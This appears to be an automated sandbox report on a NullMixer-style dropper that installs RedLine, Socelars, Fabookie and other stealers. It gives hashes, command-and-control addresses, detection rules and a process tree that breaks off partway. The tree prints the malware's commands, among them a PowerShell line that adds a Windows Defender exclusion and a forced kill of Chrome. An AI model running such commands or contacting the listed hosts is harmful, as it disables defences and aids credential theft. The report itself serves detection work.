fabookie | c05dcc1cf5041eb12034132df4ae105c6abccae45e18a11b102f6d8340f68e6c

Analysis

max time kernel
105s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-08-2024 01:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup_installer.exe
Size

4.2MB
MD5

9f43bed8b556e336e31fffd998ee3c96
SHA1

4d7f5c2f94ee2decbffabacf215c96f67b35082c
SHA256

39d8e994e92ec6911df5b675ae73f86acb6a27272b40b6caa2f13f3ffc7c10a5
SHA512

e28c7bf18f7c9c5ead776afa2eedc4f42717bd53f0b63655543a8f2c85fee8f9972f009b7d5583035267b3b017f0bc139ab8850e8fe3251e989f78facafe62d4
SSDEEP

98304:xo/QBfOIwn4pJji/xEFWLHkAtkSLPoBTOi8ogrzTag:xo/qFw4pJjHWjkAWSLoBL8ogryg

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.znsjis.top/

Extracted

Family

redline

Botnet

jamesoldd

65.108.20.195:6774

Extracted

Family

nullmixer

http://hsiens.xyz/

Extracted

Family

redline

Botnet

ANI

45.142.215.47:27643

Extracted

Family

gcleaner

gcl-page.biz

194.145.227.161

Signatures

Detect Fabookie payload 1 IoCs

resource	yara_rule
behavioral4/files/0x000700000002343d-86.dat	family_fabookie

Fabookie
Fabookie is facebook account info stealer.
spyware stealer fabookie
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
dropper nullmixer
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
loader onlylogger
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral4/memory/3036-139-0x0000000002270000-0x0000000002296000-memory.dmp	family_redline
behavioral4/memory/3036-140-0x00000000022D0000-0x00000000022F4000-memory.dmp	family_redline
behavioral4/memory/1784-182-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

resource	yara_rule
behavioral4/memory/3036-139-0x0000000002270000-0x0000000002296000-memory.dmp	family_sectoprat
behavioral4/memory/3036-140-0x00000000022D0000-0x00000000022F4000-memory.dmp	family_sectoprat
behavioral4/memory/1784-182-0x0000000000400000-0x0000000000422000-memory.dmp	family_sectoprat

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars payload 1 IoCs

resource	yara_rule
behavioral4/files/0x0007000000023441-84.dat	family_socelars

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

OnlyLogger payload 2 IoCs

resource	yara_rule
behavioral4/memory/4736-223-0x0000000000400000-0x000000000046F000-memory.dmp	family_onlylogger
behavioral4/memory/4736-256-0x0000000000400000-0x000000000046F000-memory.dmp	family_onlylogger

Blocklisted process makes network request 3 IoCs

flow	pid	Process
28	3936	Fri226cff092ae.exe
30	3936	Fri226cff092ae.exe
124	4608	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2684	powershell.exe

ASPack v2.12-2.42 3 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x0007000000023445-44.dat	aspack_v212_v242
behavioral4/files/0x0007000000023447-53.dat	aspack_v212_v242
behavioral4/files/0x0007000000023444-47.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	setup_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	Fri222ae8c487.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	SkVPVS3t6Y8W.EXe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 18 IoCs

pid	Process
1360	setup_install.exe
2956	Fri2271b04a0f.exe
4736	Fri221ad3d21c.exe
3936	Fri226cff092ae.exe
4560	Fri22bbc66c2a1d88ca.exe
4272	Fri2299c3f912d.exe
5072	Fri225e887fa84d58e.exe
1608	Fri222ae8c487.exe
2188	Fri22211ed5192070.exe
3244	Fri225c3b736cde03.exe
2072	Fri227d78279da52a1.exe
3036	Fri225e7ac14f.exe
3216	Fri22e6b0f88ca7.exe
4764	Fri22bbc66c2a1d88ca.tmp
4668	SkVPVS3t6Y8W.EXe
1784	Fri227d78279da52a1.exe
5640	e58db28.exe
6016	e59142a.exe

Loads dropped DLL 8 IoCs

pid	Process
1360	setup_install.exe
1360	setup_install.exe
1360	setup_install.exe
1360	setup_install.exe
1360	setup_install.exe
4764	Fri22bbc66c2a1d88ca.tmp
448	rundll32.exe
4608	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hemlmgggokggmncimchkllhcjcaimcle\9.86.66_0\manifest.json	Fri2299c3f912d.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
28	iplogger.org
30	iplogger.org
35	iplogger.org
112	pastebin.com
113	pastebin.com
27	iplogger.org

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2072 set thread context of 1784	2072	Fri227d78279da52a1.exe	120

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
1244	1360	WerFault.exe	85
4600	3216	WerFault.exe	112
4844	4736	WerFault.exe	104
3804	4736	WerFault.exe	104
1308	4736	WerFault.exe	104
2428	4736	WerFault.exe	104
4560	4736	WerFault.exe	104
1856	4736	WerFault.exe	104
1168	4736	WerFault.exe	104
1612	4736	WerFault.exe	104
4452	4736	WerFault.exe	104
5716	5640	WerFault.exe	181
6072	6016	WerFault.exe	184
2292	4736	WerFault.exe	104
5308	4736	WerFault.exe	104

System Location Discovery: System Language Discovery 1 TTPs 44 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e59142a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri227d78279da52a1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri22e6b0f88ca7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	control.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SkVPVS3t6Y8W.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri221ad3d21c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri225c3b736cde03.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri22bbc66c2a1d88ca.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri2271b04a0f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri22bbc66c2a1d88ca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri2299c3f912d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri227d78279da52a1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e58db28.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri222ae8c487.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fri225e7ac14f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri22e6b0f88ca7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri22e6b0f88ca7.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri22e6b0f88ca7.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
1532	taskkill.exe
768	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133684195524630776"	chrome.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe
4620	chrome.exe
4620	chrome.exe
4608	rundll32.exe
448	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4736	Fri221ad3d21c.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	4272	Fri2299c3f912d.exe
Token: SeAssignPrimaryTokenPrivilege	4272	Fri2299c3f912d.exe
Token: SeLockMemoryPrivilege	4272	Fri2299c3f912d.exe
Token: SeIncreaseQuotaPrivilege	4272	Fri2299c3f912d.exe
Token: SeMachineAccountPrivilege	4272	Fri2299c3f912d.exe
Token: SeTcbPrivilege	4272	Fri2299c3f912d.exe
Token: SeSecurityPrivilege	4272	Fri2299c3f912d.exe
Token: SeTakeOwnershipPrivilege	4272	Fri2299c3f912d.exe
Token: SeLoadDriverPrivilege	4272	Fri2299c3f912d.exe
Token: SeSystemProfilePrivilege	4272	Fri2299c3f912d.exe
Token: SeSystemtimePrivilege	4272	Fri2299c3f912d.exe
Token: SeProfSingleProcessPrivilege	4272	Fri2299c3f912d.exe
Token: SeIncBasePriorityPrivilege	4272	Fri2299c3f912d.exe
Token: SeCreatePagefilePrivilege	4272	Fri2299c3f912d.exe
Token: SeCreatePermanentPrivilege	4272	Fri2299c3f912d.exe
Token: SeBackupPrivilege	4272	Fri2299c3f912d.exe
Token: SeRestorePrivilege	4272	Fri2299c3f912d.exe
Token: SeShutdownPrivilege	4272	Fri2299c3f912d.exe
Token: SeDebugPrivilege	4272	Fri2299c3f912d.exe
Token: SeAuditPrivilege	4272	Fri2299c3f912d.exe
Token: SeSystemEnvironmentPrivilege	4272	Fri2299c3f912d.exe
Token: SeChangeNotifyPrivilege	4272	Fri2299c3f912d.exe
Token: SeRemoteShutdownPrivilege	4272	Fri2299c3f912d.exe
Token: SeUndockPrivilege	4272	Fri2299c3f912d.exe
Token: SeSyncAgentPrivilege	4272	Fri2299c3f912d.exe
Token: SeEnableDelegationPrivilege	4272	Fri2299c3f912d.exe
Token: SeManageVolumePrivilege	4272	Fri2299c3f912d.exe
Token: SeImpersonatePrivilege	4272	Fri2299c3f912d.exe
Token: SeCreateGlobalPrivilege	4272	Fri2299c3f912d.exe
Token: 31	4272	Fri2299c3f912d.exe
Token: 32	4272	Fri2299c3f912d.exe
Token: 33	4272	Fri2299c3f912d.exe
Token: 34	4272	Fri2299c3f912d.exe
Token: 35	4272	Fri2299c3f912d.exe
Token: SeDebugPrivilege	2188	Fri22211ed5192070.exe
Token: SeDebugPrivilege	3936	Fri226cff092ae.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	1532	taskkill.exe
Token: SeDebugPrivilege	768	taskkill.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe
Token: SeCreatePagefilePrivilege	4620	chrome.exe
Token: SeShutdownPrivilege	4620	chrome.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe
4620	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3376 wrote to memory of 1360	3376	setup_installer.exe	85
PID 3376 wrote to memory of 1360	3376	setup_installer.exe	85
PID 3376 wrote to memory of 1360	3376	setup_installer.exe	85
PID 1360 wrote to memory of 4044	1360	setup_install.exe	89
PID 1360 wrote to memory of 4044	1360	setup_install.exe	89
PID 1360 wrote to memory of 4044	1360	setup_install.exe	89
PID 1360 wrote to memory of 4388	1360	setup_install.exe	90
PID 1360 wrote to memory of 4388	1360	setup_install.exe	90
PID 1360 wrote to memory of 4388	1360	setup_install.exe	90
PID 1360 wrote to memory of 4740	1360	setup_install.exe	91
PID 1360 wrote to memory of 4740	1360	setup_install.exe	91
PID 1360 wrote to memory of 4740	1360	setup_install.exe	91
PID 1360 wrote to memory of 3104	1360	setup_install.exe	92
PID 1360 wrote to memory of 3104	1360	setup_install.exe	92
PID 1360 wrote to memory of 3104	1360	setup_install.exe	92
PID 1360 wrote to memory of 3504	1360	setup_install.exe	93
PID 1360 wrote to memory of 3504	1360	setup_install.exe	93
PID 1360 wrote to memory of 3504	1360	setup_install.exe	93
PID 1360 wrote to memory of 1656	1360	setup_install.exe	94
PID 1360 wrote to memory of 1656	1360	setup_install.exe	94
PID 1360 wrote to memory of 1656	1360	setup_install.exe	94
PID 1360 wrote to memory of 2044	1360	setup_install.exe	95
PID 1360 wrote to memory of 2044	1360	setup_install.exe	95
PID 1360 wrote to memory of 2044	1360	setup_install.exe	95
PID 1360 wrote to memory of 1088	1360	setup_install.exe	96
PID 1360 wrote to memory of 1088	1360	setup_install.exe	96
PID 1360 wrote to memory of 1088	1360	setup_install.exe	96
PID 1360 wrote to memory of 3592	1360	setup_install.exe	97
PID 1360 wrote to memory of 3592	1360	setup_install.exe	97
PID 1360 wrote to memory of 3592	1360	setup_install.exe	97
PID 1360 wrote to memory of 848	1360	setup_install.exe	138
PID 1360 wrote to memory of 848	1360	setup_install.exe	138
PID 1360 wrote to memory of 848	1360	setup_install.exe	138
PID 1360 wrote to memory of 3120	1360	setup_install.exe	99
PID 1360 wrote to memory of 3120	1360	setup_install.exe	99
PID 1360 wrote to memory of 3120	1360	setup_install.exe	99
PID 1360 wrote to memory of 2968	1360	setup_install.exe	100
PID 1360 wrote to memory of 2968	1360	setup_install.exe	100
PID 1360 wrote to memory of 2968	1360	setup_install.exe	100
PID 1360 wrote to memory of 4888	1360	setup_install.exe	101
PID 1360 wrote to memory of 4888	1360	setup_install.exe	101
PID 1360 wrote to memory of 4888	1360	setup_install.exe	101
PID 4044 wrote to memory of 2684	4044	cmd.exe	102
PID 4044 wrote to memory of 2684	4044	cmd.exe	102
PID 4044 wrote to memory of 2684	4044	cmd.exe	102
PID 3504 wrote to memory of 2956	3504	cmd.exe	103
PID 3504 wrote to memory of 2956	3504	cmd.exe	103
PID 3504 wrote to memory of 2956	3504	cmd.exe	103
PID 1656 wrote to memory of 4736	1656	cmd.exe	104
PID 1656 wrote to memory of 4736	1656	cmd.exe	104
PID 1656 wrote to memory of 4736	1656	cmd.exe	104
PID 1088 wrote to memory of 3936	1088	cmd.exe	134
PID 1088 wrote to memory of 3936	1088	cmd.exe	134
PID 2044 wrote to memory of 4560	2044	cmd.exe	106
PID 2044 wrote to memory of 4560	2044	cmd.exe	106
PID 2044 wrote to memory of 4560	2044	cmd.exe	106
PID 3104 wrote to memory of 4272	3104	cmd.exe	107
PID 3104 wrote to memory of 4272	3104	cmd.exe	107
PID 3104 wrote to memory of 4272	3104	cmd.exe	107
PID 4740 wrote to memory of 5072	4740	cmd.exe	108
PID 4740 wrote to memory of 5072	4740	cmd.exe	108
PID 3592 wrote to memory of 1608	3592	cmd.exe	109
PID 3592 wrote to memory of 1608	3592	cmd.exe	109
PID 3592 wrote to memory of 1608	3592	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Users\Admin\AppData\Local\Temp\7zS03D8F097\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS03D8F097\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Fri225e7ac14f.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4388
  - - C:\Users\Admin\AppData\Local\Temp\7zS03D8F097\Fri225e7ac14f.exe
      Fri225e7ac14f.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Fri225e887fa84d58e.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Users\Admin\AppData\Local\Temp\7zS03D8F097\Fri225e887fa84d58e.exe
      Fri225e887fa84d58e.exe
      4⤵
      Executes dropped EXE
      PID:5072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Fri2299c3f912d.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3104
  - - C:\Users\Admin\AppData\Local\Temp\7zS03D8F097\Fri2299c3f912d.exe
      Fri2299c3f912d.exe
      4⤵
      Executes dropped EXE
      Drops Chrome extension
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4272
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:848
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:768
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        5⤵
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4620
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf8,0x124,0x7ff8d00ccc40,0x7ff8d00ccc4c,0x7ff8d00ccc58
        6⤵
        
        PID:2660
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1944,i,6417104143446174340,15756322509437967137,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1940 /prefetch:2
        6⤵
        
        PID:4780
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2196,i,6417104143446174340,15756322509437967137,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2204 /prefetch:3
        6⤵
        
        PID:1924
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2264,i,6417104143446174340,15756322509437967137,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2284 /prefetch:8
        6⤵
        
        PID:1516
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3092,i,6417104143446174340,15756322509437967137,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3112 /prefetch:1
        6⤵
        
        PID:4628
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3120,i,6417104143446174340,15756322509437967137,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3144 /prefetch:1
        6⤵
        
        PID:1636
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
